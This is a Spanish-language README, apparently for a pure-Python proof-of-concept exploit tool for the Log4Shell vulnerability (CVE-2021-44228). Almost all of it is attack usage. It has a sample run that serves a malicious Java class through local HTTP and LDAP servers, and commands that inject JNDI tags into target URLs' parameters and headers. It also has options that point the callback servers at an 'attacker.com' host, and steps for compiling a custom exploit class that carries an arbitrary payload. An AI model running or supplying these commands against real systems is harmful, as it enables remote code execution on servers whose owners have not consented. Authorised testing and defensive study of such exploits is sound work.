
Un PoC de Python puro todo en uno para CVE-2021-44228
Un PoC (prueba de concepto) integral en Python puro para CVE-2021-44228.
> python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!
Esta es una herramienta de línea de comandos. Todas las opciones se encuentran en el menú de ayuda:
python3 log4rce.py --help
La lista es bastante extensa, por lo tanto, lo siguiente le dará un resumen de la funcionalidad.
La herramienta le permite usar algunos modos de ataque. Estos ataques son extensiones de la clase Log4RCE.
Puede realizar un ataque automatizado de solicitudes HTTP en una URL objetivo.
Puede realizar una solicitud GET de la siguiente manera:
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###¶m=123" --headers="P1=123&P2=123"
Puede realizar una solicitud POST de la siguiente manera:
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###¶m=123" --headers="P1=123&P2=123"
Lo anterior inyectará la etiqueta JNDI en ###.
Si no puede usar ninguno de los anteriores, use este modo para volcar la etiqueta JDNI:
python3 log4rce.py manual
La herramienta permite una amplia personalización para la mayoría de la configuración de red. Todos los servidores internos pueden modificarse para apuntar a diferentes ubicaciones según la configuración remota.
Puede configurar el servidor HTTP usando los siguientes parámetros:
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
http_port: El puerto local para ejecutar el servidor.
http_rport: El puerto al que accede una máquina remota.
http_host: El nombre de host/IP al que accede una máquina remota.
Puede configurar el servidor LDAP usando los siguientes parámetros:
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
ldap_port: El puerto local para ejecutar el servidor.
ldap_rport: El puerto al que accede una máquina remota.
ldap_host: El nombre de host/IP al que accede una máquina remota.
La herramienta permite manejar cierta personalización. Lo siguiente enumera algunas funcionalidades que pueden interesarle.
Puede inyectar una carga útil en la clase Java usando:
python3 log4rce.py --payload "PAYLOAD"
La carga útil se inyectará en las cadenas "###".
Puede construir su propia clase Java usando lo siguiente.
javac -source 1.7 -target 1.7 /path/to/Exploit.java
El archivo .class resultante se puede ejecutar usando:
python3 log4rce.py --java_class "/path/to/Exploit.class" ...
Nota: Puede agregar una cadena "###" para permitir la inyección de carga útil.